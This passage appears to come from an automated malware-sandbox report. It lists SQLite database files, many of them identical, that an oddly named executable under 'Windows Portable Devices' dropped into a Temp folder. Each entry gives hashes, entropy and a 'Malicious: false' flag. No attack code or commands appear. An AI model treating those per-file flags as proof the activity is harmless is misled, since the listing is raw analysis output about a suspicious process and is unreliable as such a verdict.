SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BNjQPkuwea

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Bc6DqRImX9

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BcukYEKfNz

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BgQASP9mOC

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BsulxZMxG2

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BtVq2X3Zn0

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C16hJFtRVh

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C57v8FyK1u

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CX4m6lThwW

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CcsHQWpGUd

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CnkpnRA30S

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DC9kh5fPIZ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DQa69KCbse

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DoGrmMR4Ad

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Dz22isjBon

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E3ihdoG0eq

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EXuvw7sG3Z

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EZiGXThvLI

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EmoUxZivNK

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EndyxCh9kk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Es5XzbIbSD

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ew3uIO2h4E

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FSDOyS9AdD

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FTRnoyjVFu

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FTUZwuaRLw

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
